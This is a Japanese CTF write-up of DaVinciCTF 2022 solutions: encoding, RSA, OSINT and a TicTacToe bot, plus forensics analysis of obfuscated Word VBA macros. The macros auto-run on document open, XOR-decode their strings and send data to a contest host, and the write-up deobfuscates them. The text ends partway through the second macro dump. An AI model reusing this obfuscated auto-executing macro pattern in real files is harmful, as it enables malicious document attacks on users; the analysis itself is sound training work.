DaVinciCTF 2022 Writeup

この大会は2022/3/12 1:00(JST)~2022/3/14 1:00(JST)に開催されました。
今回もチームで参戦。結果は5632点で725チーム中16位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Warmup)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

dvCTF{4nd_n0w_w3_f149}

FrenchFlag (Warmup)

$ exiftool flag.png
ExifTool Version Number         : 10.80
File Name                       : flag.png
Directory                       : .
File Size                       : 3.3 kB
File Modification Date/Time     : 2022:03:12 04:46:11+09:00
File Access Date/Time           : 2022:03:12 04:48:15+09:00
File Inode Change Date/Time     : 2022:03:12 04:46:11+09:00
File Permissions                : rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1280
Image Height                    : 853
Bit Depth                       : 4
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Gamma                           : 2.2
White Point X                   : 0.3127
White Point Y                   : 0.329
Red X                           : 0.64
Red Y                           : 0.33
Green X                         : 0.3
Green Y                         : 0.6
Blue X                          : 0.15
Blue Y                          : 0.06
Palette                         : (Binary data 15 bytes, use -b option to extract)
Background Color                : 2
Modify Date                     : 2022:01:25 05:04:23
Datecreate                      : 2022-01-25T05:04:23+00:00
Datemodify                      : 2022-01-25T05:04:23+00:00
XMP Toolkit                     : Image::ExifTool 12.40
Creator                         : dvCTF{flagception}
Image Size                      : 1280x853
Megapixels                      : 1.1

Creatorにフラグが設定されていた。

dvCTF{flagception}

EBG13 (Warmup)

シーザー暗号と推測して、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

ROT13
dvCTF{3ncRypt1on_1s_e4sy}
dvCTF{3ncRypt1on_1s_e4sy}

QmFzZTY0 (Warmup)

繰り返しbase64エンコードされているようなので、繰り返しデコードする。

#!/usr/bin/env python3
import base64

with open('file.txt', 'r') as f:
    data = f.read()

while True:
    data = base64.b64decode(data)
    if data.startswith(b'dvCTF{'):
        break

flag = data.decode()
print(flag)
dvCTF{Base64_Is_The_Best}

RSA (Warmup)

phiがわかっているので、そのまま復号する。しかしフラグ文字列にならない。数値を文字にするときに10進数文字列で途中で切りながら文字にしていく。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 0x7CD1020889B4382BE84B3F14EAAE242755CC1BD56F431B348F4FF8F207A96F41AFCF3EBDF4C17CB6537AD4B01B9FF9497763B22D013B614C8FCDB0C34F9D88F1A523013791EDFEB1FBBA160799892C118892FB7F199C9957DF5A26DAB4D776E5226F06ACD05412F6DD2B1B75D24CE9DC2DDAC513BCB96CD9B97F9BEF8543A3A1
phi = 0x7CD1020889B4382BE84B3F14EAAE242755CC1BD56F431B348F4FF8F207A96F41AFCF3EBDF4C17CB6537AD4B01B9FF9497763B22D013B614C8FCDB0C34F9D88F037D2317D3864035ECE8BCDD458711B788B5B3FDFD5164F7D736D0A56F416E8C16126E3868D73F54AF4D61F6033E069994319C849460C60A725A0F4DD97EDCC84
e = 0x10001
ct = 0x268D7D5F5593EA30F536635B58585620B51D2D143AFE4734635C259278D61413D0C89678E81EDF466B1E45E27EBF802F62F61263E499A516465163C7CB668F94258B3424C3E2BD76634923DECD670E4B6034F8FD00C76F9DAD00A72DB22B70B9408C89FCEE4C9B0D2D4B5664284328711BFAD57FBE1EDCC0854AAD57390DCAD6

d = inverse(e, phi)
m = str(pow(ct, d, n))

flag = ''
tmp_code = ''
for i in range(len(m)):
    code = int(tmp_code + m[i])
    if code > 31 and code < 127:
        flag += chr(code)
        tmp_code = ''
    else:
        tmp_code += m[i]
print(flag)
dvCTF{fl4g_cVpH3rt3Xt_bV_RS4}

Monkeey (OSINT)

画像検索で調べると、いくつも結果が出てくる。その中に以下のページがあった。

https://pygmylorisreid.wordpress.com/2013/02/14/happy-valentines-day-testicle-size-and-mating-systems/

さらにこの猿の像の場所が必要なので、以下のキーワードで調べる。

bonobo monkey large testicles statue city

またいくつも結果が出て、例えば以下のページに場所は「MILOS FORMAN SQUARE」であると書いてある。

https://www.sculptureline.cz/en/prague-2019/king-kong-balls.188

この場所について調べると、都市はプラハであることが分かった。

dvCTF{prague}

TicTacToe (Programming)

$ nc challs.dvc.tf 6666
Welcome to my TicTacToe game ! Will you be able to beat me 100 times in a row ?
Format your answer like so : "row_number column_number"
--------------------------------------------------
- - - 
- O - 
- - - 
1 1

X - O 
- O - 
- - - 
3 1

X - O 
O O - 
X - - 
2 3

X - O 
O O X 
X O - 
1 2

Match Draw! You're still at 0/250
- O - 
- - - 
- - -

https://jtwp470.hatenablog.jp/category/CTF?page=1462294297を参考にプログラムする。

#!/usr/bin/env python3
import socket
import itertools

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def read_board(ttt_board):
    board = []
    for s in ttt_board.split('\n')[:-1]:
        c = s.split(' ')[:-1]
        for v in c:
            board.append(v)
    return board

def is_win(board, my_hand):
    for pos in lines:
        for ps in itertools.permutations(pos):
            p = board[ps[0]]
            if p == '-' and board[ps[1]] == my_hand and board[ps[2]] == my_hand:
                return ps[0]
    return -1

def is_finish(board, my_hand):
    for line in lines:
        finish = True
        for c in line:
            if board[c] != my_hand:
                finish = False
                break
        if finish:
            return True
    return False

def decide_pos(board, my_hand):
    if my_hand == 'X':
        enemy_hand = 'O'
    else:
        enemy_hand = 'X'

    p = is_win(board, my_hand)
    if p >= 0:
        return p

    p = is_win(board, enemy_hand)
    if p >= 0:
        return p

    if board[4] == '-':
        return 4

    corner = (0, 2, 6, 8)
    for c in corner:
        if board[c] == '-':
            return c

    for c in range(9):
        if board[c] == '-':
            return c
    return None

lines = (
    (0, 1, 2), (3, 4, 5), (6, 7, 8),
    (0, 3, 6), (1, 4, 7), (2, 5, 8),
    (2, 4, 6), (0, 4, 8))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.dvc.tf', 6666))

data = recvuntil(s, b'----\n').rstrip()
print(data)

my_hand = 'X'
finish = False
while True:
    while True:
        data = ''
        data += recvuntil(s, b'\n')
        if 'Match Draw!' in data:
            print(data, end='')
            break
        for _ in range(2):
            data += recvuntil(s, b'\n')
        print(data, end='')
        board = read_board(data)
        if is_finish(board, my_hand):
            data = recvuntil(s, b'\n').rstrip()
            print(data)
            if '250/250' in data:
                finish = True
            data = recvuntil(s, b'\n').rstrip()
            print(data)
            break
        x = decide_pos(board, my_hand)
        x = str(x // 3 + 1) + ' ' + str(x % 3 + 1)
        print(x)
        s.sendall(x.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    if finish:
        break

data = recvuntil(s, b'\n').rstrip()
print(data)

強いプログラムではないが、何回も試したら成功した。

        :
- - -
- - -
O - -
2 2

- O -
- X -
O - -
1 1

X O -
- X -
O O -
3 3

X O -
- X -
O O X
Well done ! 248/250

- - -
- - -
- - -
2 2

- - -
O X -
- - -
1 1

X - -
O X O
- - -
3 3

X - -
O X O
- - X
Well done ! 249/250

- - -
- - O
- - -
2 2

- - -
- X O
O - -
1 1

X - -
- X O
O - O
3 2

X O -
- X O
O X O
1 3

Match Draw! You're still at 249/250
- - -
- - -
- - -
2 2

- - -
- X O
- - -
1 1

X O -
- X O
- - -
3 3

X O -
- X O
- - X
Well done ! 250/250

Here is your flag : dvctf{T1ct4Ct0e_iS_2_EZ}
dvctf{T1ct4Ct0e_iS_2_EZ}

Very Bad Script (Forensics)

$ olevba verybadscript.doc 
olevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools
===============================================================================
FILE: verybadscript.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: verybadscript.doc - OLE stream: 'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub Document_Open()
If ActiveDocument.Variables("zVaxnp").Value <> "macro" Then
ztGluzOKzaOlZpTdBZVgQCRtzyOaeDuWLKulUkmaEjiTmCnyNcqxhVWxLlEKucnWJwpgEtGgTsFuOkaTrwZpmiFtWtkepihWaiIbQjBJjUvBwodXoePjTcXpcesPtcYwTBleYsFjBazrZGspYztyTdFLBSlvrEemGfmqbVNKruWHppzlvsqnxTkUhfoUMiUyTdakqEVgLvdQInWvnspKpPDbEcVDpzymtUVxGlsdNzQcpORxYEPMOeFhtxOQIDU
ActiveDocument.Variables("zVaxnp").Value = "macro"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub

-------------------------------------------------------------------------------
VBA MACRO gdxVWYH.vba 
in file: verybadscript.doc - OLE stream: 'Macros/VBA/gdxVWYH'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Function rqprqqaChQ(JdZBLxfsgm As Variant, ijkAhTEpgy As Integer)
Dim eqeTpqsPjF, polGerrvbS As String, tYZWGzIYUS, UXUrCHGOOq
polGerrvbS = ActiveDocument.Variables("zVaxnp").Value()
eqeTpqsPjF = ""
tYZWGzIYUS = 1
While tYZWGzIYUS < UBound(JdZBLxfsgm) + 2
UXUrCHGOOq = tYZWGzIYUS Mod Len(polGerrvbS): If UXUrCHGOOq = 0 Then UXUrCHGOOq = Len(polGerrvbS)
eqeTpqsPjF = eqeTpqsPjF + Chr(Asc(Mid(polGerrvbS, UXUrCHGOOq + ijkAhTEpgy, 1)) Xor CInt(JdZBLxfsgm(tYZWGzIYUS - 1)))
tYZWGzIYUS = tYZWGzIYUS + 1
Wend
rqprqqaChQ = eqeTpqsPjF
End Function
Public Function ztGluzOKzaOlZpTdBZVgQCRtzyOaeDuWLKulUkmaEjiTmCnyNcqxhVWxLlEKucnWJwpgEtGgTsFuOkaTrwZpmiFtWtkepihWaiIbQjBJjUvBwodXoePjTcXpcesPtcYwTBleYsFjBazrZGspYztyTdFLBSlvrEemGfmqbVNKruWHppzlvsqnxTkUhfoUMiUyTdakqEVgLvdQInWvnspKpPDbEcVDpzymtUVxGlsdNzQcpORxYEPMOeFhtxOQIDU()
WeXqjDhWbNzFWecvQEpcEHsERywzDtryeOYsuaQLRxHuZkzrXgTgQpTrqmRKzIeOIsPYfHULDFVLnDJikNUvhtaxzhBYjchedUNkIJAbTxkHGAfggHBqWRgRtaVstKugpmPNcNrOjfvNWVvnmEmJpZQoblrjyDzwXpcZmerewuQxRXbGtvXTfunTGwIepxkQHYFgwRbFkIVqyIOjYdKJANAPTfGRZmQFInQEgiFYkIzXCYveeNOzAVHecmuCiHL = rqprqqaChQ(Array(123, 11, 48, 89, 76, 63, 6, 59, 118, 65, 47, 104, 51, 39, 51, 27, 120, 41, 36, 50, 51, _
44, 5, 75, 65, 36, 77, 92, 101, 55, 5, 4, 88, 2, 90, 90, 2, 104, 59, 91, 21, _
16, 33, 13, 19, 7, 88, 54, 29, 91, 21, 62, 75), 143)
MsgBox WeXqjDhWbNzFWecvQEpcEHsERywzDtryeOYsuaQLRxHuZkzrXgTgQpTrqmRKzIeOIsPYfHULDFVLnDJikNUvhtaxzhBYjchedUNkIJAbTxkHGAfggHBqWRgRtaVstKugpmPNcNrOjfvNWVvnmEmJpZQoblrjyDzwXpcZmerewuQxRXbGtvXTfunTGwIepxkQHYFgwRbFkIVqyIOjYdKJANAPTfGRZmQFInQEgiFYkIzXCYveeNOzAVHecmuCiHL
buXkjpdMRmxdQVHETBBFEbLygURypPrvvycNglEuLeNHFtaRKPYBAGuRKCaJkkloyAsGBMxqZCxIUkAujUJxHBvAMAluDqTfXpSDFUHCLzsdlpyuFMFzYSHJNnCkLlmjFTrifQXjrEhJYimtbsKehELXlSCFetiGTbdiZbiwtTGZrFrawyuxCZcvwuRMSEqArVhafbuVtSwgjeAjRjvgjduripXpGQyftGVcurypciIJfijYvWLLhmPXFQdNOjN = rqprqqaChQ(Array(35, 33, 60, 17, 9, 127, 109, 17, 78, 82, 109, 64, 28, 110, 13, 105, 98, 116), 125)
LzZpvZtymrFaBZrsacKpEXShFEcUVWxCqpYKnRRuvTtKqioewMQxLGIKfZkYglOnuzLjwHbOQZYhdFtoLnkpFKJLbYPptThGHgyyudlrPQpJbIcKvWQvsQptatOiUFhSmRYAkedBAKtVvMyqeqelBjefOiperoCxPaUSBrSIpKYNiYkXFsiTGaaysPFGokJUgoXpTphMezDhuHSNYWuCBVHTGhbpCVRWjizNkFDPdBJFxvxURsUrUapWrAXMBfz = rqprqqaChQ(Array(47, 39, 58, 70, 14, 80, 16, 27, 20, 75, 73, 78, 101, 14, 85, 49, 30, 15, 90, 17, 26, _
102, 30, 33, 22, 1, 38, 63, 70, 52, 1, 41, 2, 42, 88, 9, 92, 69, 20, 23, 15, _
56, 28, 60, 58, 79, 93, 81, 118, 28, 2, 20, 118, 95, 57, 18, 87, 19, 26, 57, 110, _
53, 7, 5, 0, 52, 45, 31, 3, 70, 11, 99, 40, 28, 59, 119, 13, 108, 110, 4, 66, _
40, 6, 76, 94, 98, 56, 76, 25, 64, 80, 69, 63, 71, 60), 30)
Set SiJLJGdAbJbchGYfMvaDKGxdwYbvNtVlfFhrfKnSgHNUidmfUwJLFswHTqAyBTgWLVdVaqEwsgEoxvseHOfqxABjFzYtcVPRWDevTlgGbmqKqgmtdmXywJSQcQHmoEMkvZaqGgNjdKRMwToghEZDvHbNgqmfipkwdilEzgKhGjWLbqshPAzAXLKxajLVZNeeBahTVHjBtIEEyTkuleJKPBkXMjDYJzExORLNyJZnQjnPJbDlrnsYvWTyPUtXhEh = CreateObject(rqprqqaChQ(Array(26, 89, 24, 113, 51, 48, 52, 28, 14, 48, 9, 46, 53, 12, 4, 5, 8, 67, 54, 54, 27, _
29, 123, 77, 28, 88), 4))
SiJLJGdAbJbchGYfMvaDKGxdwYbvNtVlfFhrfKnSgHNUidmfUwJLFswHTqAyBTgWLVdVaqEwsgEoxvseHOfqxABjFzYtcVPRWDevTlgGbmqKqgmtdmXywJSQcQHmoEMkvZaqGgNjdKRMwToghEZDvHbNgqmfipkwdilEzgKhGjWLbqshPAzAXLKxajLVZNeeBahTVHjBtIEEyTkuleJKPBkXMjDYJzExORLNyJZnQjnPJbDlrnsYvWTyPUtXhEh.Open rqprqqaChQ(Array(33, 23, 68, 54), 0), buXkjpdMRmxdQVHETBBFEbLygURypPrvvycNglEuLeNHFtaRKPYBAGuRKCaJkkloyAsGBMxqZCxIUkAujUJxHBvAMAluDqTfXpSDFUHCLzsdlpyuFMFzYSHJNnCkLlmjFTrifQXjrEhJYimtbsKehELXlSCFetiGTbdiZbiwtTGZrFrawyuxCZcvwuRMSEqArVhafbuVtSwgjeAjRjvgjduripXpGQyftGVcurypciIJfijYvWLLhmPXFQdNOjN, False
SiJLJGdAbJbchGYfMvaDKGxdwYbvNtVlfFhrfKnSgHNUidmfUwJLFswHTqAyBTgWLVdVaqEwsgEoxvseHOfqxABjFzYtcVPRWDevTlgGbmqKqgmtdmXywJSQcQHmoEMkvZaqGgNjdKRMwToghEZDvHbNgqmfipkwdilEzgKhGjWLbqshPAzAXLKxajLVZNeeBahTVHjBtIEEyTkuleJKPBkXMjDYJzExORLNyJZnQjnPJbDlrnsYvWTyPUtXhEh.Send LzZpvZtymrFaBZrsacKpEXShFEcUVWxCqpYKnRRuvTtKqioewMQxLGIKfZkYglOnuzLjwHbOQZYhdFtoLnkpFKJLbYPptThGHgyyudlrPQpJbIcKvWQvsQptatOiUFhSmRYAkedBAKtVvMyqeqelBjefOiperoCxPaUSBrSIpKYNiYkXFsiTGaaysPFGokJUgoXpTphMezDhuHSNYWuCBVHTGhbpCVRWjizNkFDPdBJFxvxURsUrUapWrAXMBfz
End Function


+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Open                |May open a file                              |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|.Variables          |May use Word Document Variables to store and |
|          |                    |hide data                                    |
+----------+--------------------+---------------------------------------------+

整形し、変数名を変更する。

Private Function rqprqqaChQ(param1 As Variant, param2 As Integer)
    Dim var1, var2 As String, i, j
    var2 = ActiveDocument.Variables("zVaxnp").Value()
    var1 = ""
    i = 1
    While i < UBound(param1) + 2
        j = i Mod Len(var2): If j = 0 Then j = Len(var2)
        var1 = var1 + Chr(Asc(Mid(var2, j + param2, 1)) Xor CInt(param1(i - 1)))
        i = i + 1
    Wend
    rqprqqaChQ = var1
End Function

Public Function ztGluzOKzaOlZpTdBZVgQCRtzyOaeDuWLKulUkmaEjiTmCnyNcqxhVWxLlEKucnWJwpgEtGgTsFuOkaTrwZpmiFtWtkepihWaiIbQjBJjUvBwodXoePjTcXpcesPtcYwTBleYsFjBazrZGspYztyTdFLBSlvrEemGfmqbVNKruWHppzlvsqnxTkUhfoUMiUyTdakqEVgLvdQInWvnspKpPDbEcVDpzymtUVxGlsdNzQcpORxYEPMOeFhtxOQIDU()
    msg = rqprqqaChQ(Array(123, 11, 48, 89, 76, 63, 6, 59, 118, 65, 47, 104, 51, 39, 51, 27, 120, 41, 36, 50, 51, _
        44, 5, 75, 65, 36, 77, 92, 101, 55, 5, 4, 88, 2, 90, 90, 2, 104, 59, 91, 21, _
        16, 33, 13, 19, 7, 88, 54, 29, 91, 21, 62, 75), 143)
    MsgBox msg
    var3 = rqprqqaChQ(Array(35, 33, 60, 17, 9, 127, 109, 17, 78, 82, 109, 64, 28, 110, 13, 105, 98, 116), 125)
    var4 = rqprqqaChQ(Array(47, 39, 58, 70, 14, 80, 16, 27, 20, 75, 73, 78, 101, 14, 85, 49, 30, 15, 90, 17, 26, _
        102, 30, 33, 22, 1, 38, 63, 70, 52, 1, 41, 2, 42, 88, 9, 92, 69, 20, 23, 15, _
        56, 28, 60, 58, 79, 93, 81, 118, 28, 2, 20, 118, 95, 57, 18, 87, 19, 26, 57, 110, _
        53, 7, 5, 0, 52, 45, 31, 3, 70, 11, 99, 40, 28, 59, 119, 13, 108, 110, 4, 66, _
        40, 6, 76, 94, 98, 56, 76, 25, 64, 80, 69, 63, 71, 60), 30)
    Set obj = CreateObject(rqprqqaChQ(Array(26, 89, 24, 113, 51, 48, 52, 28, 14, 48, 9, 46, 53, 12, 4, 5, 8, 67, 54, 54, 27, _
        29, 123, 77, 28, 88), 4))
    obj.Open rqprqqaChQ(Array(33, 23, 68, 54), 0), var3, False
    obj.Send var4
End Function

VBAで"zVaxnp"の値を表示させる。

Qx7BM0v9GDD2YYgfAxtWm2CShiUx2ikHTazpgtf90bEGuUwk46nFlDwmJFfGuLcFxp30f7iQpYIogbVhjqV9Us03sJNQqFTrViarTSJzNBnXY5rFYy6QVxwqfqQrAKUHa3PBu81C4zT4YRE3jX8lFiNQ7JHQBVuXAEQXIajamj1EDqa9n34eHZ7y0XbfuxPt7pMjWo7Jm0btMvzatyCPbZjczioyr3RbIbZDklpZDvbZdKnjKZroMg6EzZA1y2a26IIkWpk1UA2o8Ewb1ooP9lSRLBHKVY7PL2Rvojd3pFlJO3l4uvEPJTIYNELfQCtfVcQf4oI7G3MeaxnUzkOcSkDp4zKjUbcmT431BuqP5HmJuCEa1hheMWVBBNzPVAk35gIJAroQp3DZpL8G98cKtZWoGQOC4EIKvbirgs82Wgp51zMA8IHxOyOSCe89EKvE951ZjsLhaysuCgitVwwJrltREyMEYRNhMl3IuoToxLw1r625mPtXNpnfJTt4JsrqCGFrG97PNy8AZxwR730p49XnXHx113vB6AKA69IJwXEvnvVdQ8bt8xoZU273kDBrE2QH5TbcYff4LJHBVc0uqjJbShDiSQGcoY5oRkFhJxaRpJkEWLpoQh95AnTgLuEXWHYwiDlrZNvTGTcMk8JZCKMAjofOirETYr2UtblDmbFGitPxQh94RtwWWsXHKLeSXJ3LOkP4dLLPN0EdhaEO2G9SEg5najrX8AEGwEMHFPKa9irYO7YNTdw5oq5uO33Da9maJimysnpRRABR8Cj7ksaWtrkLfuhpESVPrW5edvPIcxHqfMgnzxARgBYaB6EzmB0HQgrjJQ8tnk3OpZ0B9jLckVaeLD6EKVDG7dP5neq1YrtnA5eNycwS7G2qA8UiXjRGMgMZ6sms78AZoTIXi0QH7ck4k5Bf5lfzFeO0g7pOM4g5OOhFLKU0Xtjx57VQeHvIV8zGH9LApQJz3thu0j6BXjJtPYW4K1dwLsPy6zYTzlI4tGMclgjpXZRpJ8g

この情報を元にXORで各変数を表示させる。

#!/usr/bin/env python3
s = 'Qx7BM0v9GDD2YYgfAxtWm2CShiUx2ikHTazpgtf90bEGuUwk46nFlDwmJFfGuLcFxp30f7iQpYIogbVhjqV9Us03sJNQqFTrViarTSJzNBnXY5rFYy6QVxwqfqQrAKUHa3PBu81C4zT4YRE3jX8lFiNQ7JHQBVuXAEQXIajamj1EDqa9n34eHZ7y0XbfuxPt7pMjWo7Jm0btMvzatyCPbZjczioyr3RbIbZDklpZDvbZdKnjKZroMg6EzZA1y2a26IIkWpk1UA2o8Ewb1ooP9lSRLBHKVY7PL2Rvojd3pFlJO3l4uvEPJTIYNELfQCtfVcQf4oI7G3MeaxnUzkOcSkDp4zKjUbcmT431BuqP5HmJuCEa1hheMWVBBNzPVAk35gIJAroQp3DZpL8G98cKtZWoGQOC4EIKvbirgs82Wgp51zMA8IHxOyOSCe89EKvE951ZjsLhaysuCgitVwwJrltREyMEYRNhMl3IuoToxLw1r625mPtXNpnfJTt4JsrqCGFrG97PNy8AZxwR730p49XnXHx113vB6AKA69IJwXEvnvVdQ8bt8xoZU273kDBrE2QH5TbcYff4LJHBVc0uqjJbShDiSQGcoY5oRkFhJxaRpJkEWLpoQh95AnTgLuEXWHYwiDlrZNvTGTcMk8JZCKMAjofOirETYr2UtblDmbFGitPxQh94RtwWWsXHKLeSXJ3LOkP4dLLPN0EdhaEO2G9SEg5najrX8AEGwEMHFPKa9irYO7YNTdw5oq5uO33Da9maJimysnpRRABR8Cj7ksaWtrkLfuhpESVPrW5edvPIcxHqfMgnzxARgBYaB6EzmB0HQgrjJQ8tnk3OpZ0B9jLckVaeLD6EKVDG7dP5neq1YrtnA5eNycwS7G2qA8UiXjRGMgMZ6sms78AZoTIXi0QH7ck4k5Bf5lfzFeO0g7pOM4g5OOhFLKU0Xtjx57VQeHvIV8zGH9LApQJz3thu0j6BXjJtPYW4K1dwLsPy6zYTzlI4tGMclgjpXZRpJ8g'

codes1 = [123, 11, 48, 89, 76, 63, 6, 59, 118, 65, 47, 104, 51, 39, 51, 27,
    120, 41, 36, 50, 51, 44, 5, 75, 65, 36, 77, 92, 101, 55, 5, 4, 88, 2, 90,
    90, 2, 104, 59, 91, 21, 16, 33, 13, 19, 7, 88, 54, 29, 91, 21, 62, 75]

msg = ''
for i in range(1, len(codes1) + 1):
    msg += chr(ord(s[i + 143 - 1]) ^ codes1[i - 1])
print('msg:', msg)

codes2 = [35, 33, 60, 17, 9, 127, 109, 17, 78, 82, 109, 64, 28, 110, 13, 105,
    98, 116]

var3 = ''
for i in range(1, len(codes2) + 1):
    var3 += chr(ord(s[i + 125 - 1]) ^ codes2[i - 1])
print('var3:', var3)

codes3 = [47, 39, 58, 70, 14, 80, 16, 27, 20, 75, 73, 78, 101, 14, 85, 49, 30,
    15, 90, 17, 26, 102, 30, 33, 22, 1, 38, 63, 70, 52, 1, 41, 2, 42, 88, 9,
    92, 69, 20, 23, 15, 56, 28, 60, 58, 79, 93, 81, 118, 28, 2, 20, 118, 95,
    57, 18, 87, 19, 26, 57, 110, 53, 7, 5, 0, 52, 45, 31, 3, 70, 11, 99, 40,
    28, 59, 119, 13, 108, 110, 4, 66, 40, 6, 76, 94, 98, 56, 76, 25, 64, 80,
    69, 63, 71, 60]

var4 = ''
for i in range(1, len(codes3) + 1):
    var4 += chr(ord(s[i + 30 - 1]) ^ codes3[i - 1])
print('var4:', var4)
msg: Haha you've been hacked! I'm stealing all your files!
var3: http://dvc.tf:9001
var4: Don't worry, I didn't really steal your files :3 the flag is dvCTF{vb4_0bfu5c4710n_5h3n4n164n5}
dvCTF{vb4_0bfu5c4710n_5h3n4n164n5}

Very Bad Script 2 (Forensics)

$ olevba verybadscript2.doc
olevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools
===============================================================================
FILE: verybadscript2.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: verybadscript2.doc - OLE stream: 'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Function cRYtuZUDAL(dPXMywZTSX As Variant, MAVBYCghrk As Integer)
Dim NvjvdTZVMt, HpTUpfdSEj As String, cktsDxDlUd, BwgOskBloQ
HpTUpfdSEj = ActiveDocument.Variables("wLUKul").Value()
NvjvdTZVMt = ""
cktsDxDlUd = 1
While cktsDxDlUd < UBound(dPXMywZTSX) + 2
BwgOskBloQ = cktsDxDlUd Mod Len(HpTUpfdSEj): If BwgOskBloQ = 0 Then BwgOskBloQ = Len(HpTUpfdSEj)
NvjvdTZVMt = NvjvdTZVMt + Chr(Asc(Mid(HpTUpfdSEj, BwgOskBloQ + MAVBYCghrk, 1)) Xor CInt(dPXMywZTSX(cktsDxDlUd - 1)))
cktsDxDlUd = cktsDxDlUd + 1
Wend
cRYtuZUDAL = NvjvdTZVMt
End Function

Public Function imFLtBarqMwKLnOeKlhTrMbUBeSVpDGIYYBapjFwEyQlxVjWfgFmgsQDJqvIjRMyxyelzdvlnpsfHPcEOGZMLJRCaVQRzRRpaBkiUpcOOTdBbpXudWeUiEBHUYJOfCgsDCPzwtyUxhYSBgPFrCKXoUcofyAGJqbyDECtfCFTPvvaKPfEtSushgGkWPRqWQCKDCGpnzYucZmsaJurXpphldCSndShZHLwFnMpufDKfAGeqgZbvTgWclrGVsewyfB()
NtZmmyleCqkGuEFNkSyHfhBMcaTHYWJWwcgEvEOCyqhwBigmAZNRkzMoNoyHGRbzzgygLPkhmzIOOrXeXwaBQtXICauoXxTkEastVwWWlVZgPXGSFqdJzhDAfiVuLNoqzlbqBqyMSGinnrhqkoyIlQSZaVynEAzxEzMPIwTNaWFvrjaNHFUtoVdZjJmMUafEnCfkesoCHvsCpsjGVRJtzAOysxVXvtNDkThgPRFWcydkDnDHrzVdEBrdUBFnyCm = cRYtuZUDAL(Array(41, 51, 25, 44, 5, 73, 26, 62, 46, 17, 86, 87, 23, 51, 61, 16, 10, 37, 29, 26, 15, 69, 19, 92, 4, 56, 61, 21, 2, 45, 1, 33, 61, 32, 43, 59, 16, 49, 6, 82, 38, 66, 5, 13, 29, 47, 47, 19, 2, 16, 16), 0)
MsgBox NtZmmyleCqkGuEFNkSyHfhBMcaTHYWJWwcgEvEOCyqhwBigmAZNRkzMoNoyHGRbzzgygLPkhmzIOOrXeXwaBQtXICauoXxTkEastVwWWlVZgPXGSFqdJzhDAfiVuLNoqzlbqBqyMSGinnrhqkoyIlQSZaVynEAzxEzMPIwTNaWFvrjaNHFUtoVdZjJmMUafEnCfkesoCHvsCpsjGVRJtzAOysxVXvtNDkThgPRFWcydkDnDHrzVdEBrdUBFnyCm
End Function
-------------------------------------------------------------------------------
VBA MACRO jmHXPwO.vba 
in file: verybadscript2.doc - OLE stream: 'Macros/VBA/jmHXPwO'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Function cRYtuZUDAL(dPXMywZTSX As Variant, MAVBYCghrk As Integer)
Dim NvjvdTZVMt, HpTUpfdSEj As String, cktsDxDlUd, BwgOskBloQ
HpTUpfdSEj = ActiveDocument.Variables("wLUKul").Value()
NvjvdTZVMt = ""
cktsDxDlUd = 1
While cktsDxDlUd < UBound(dPXMywZTSX) + 2
BwgOskBloQ = cktsDxDlUd Mod Len(HpTUpfdSEj): If BwgOskBloQ = 0 Then BwgOskBloQ = Len(HpTUpfdSEj)
NvjvdTZVMt = NvjvdTZVMt + Chr(Asc(Mid(HpTUpfdSEj, BwgOskBloQ + MAVBYCghrk, 1)) Xor CInt(dPXMywZTSX(cktsDxDlUd - 1)))
cktsDxDlUd = cktsDxDlUd + 1
Wend
cRYtuZUDAL = NvjvdTZVMt
End Function

Public Function imFLtBarqMwKLnOeKlhTrMbUBeSVpDGIYYBapjFwEyQlxVjWfgFmgsQDJqvIjRMyxyelzdvlnpsfHPcEOGZMLJRCaVQRzRRpaBkiUpcOOTdBbpXudWeUiEBHUYJOfCgsDCPzwtyUxhYSBgPFrCKXoUcofyAGJqbyDECtfCFTPvvaKPfEtSushgGkWPRqWQCKDCGpnzYucZmsaJurXpphldCSndShZHLwFnMpufDKfAGeqgZbvTgWclrGVsewyfB()
NtZmmyleCqkGuEFNkSyHfhBMcaTHYWJWwcgEvEOCyqhwBigmAZNRkzMoNoyHGRbzzgygLPkhmzIOOrXeXwaBQtXICauoXxTkEastVwWWlVZgPXGSFqdJzhDAfiVuLNoqzlbqBqyMSGinnrhqkoyIlQSZaVynEAzxEzMPIwTNaWFvrjaNHFUtoVdZjJmMUafEnCfkesoCHvsCpsjGVRJtzAOysxVXvtNDkThgPRFWcydkDnDHrzVdEBrdUBFnyCm = cRYtuZUDAL(Array(41, 51, 25, 44, 5, 73, 26, 62, 46, 17, 86, 87, 23, 51, 61, 16, 10, 37, 29, 26, 15, 69, 19, 92, 4, 56, 61, 21, 2, 45, 1, 33, 61, 32, 43, 59, 16, 49, 6, 82, 38, 66, 5, 13, 29, 47, 47, 19, 2, 16, 16), 0)
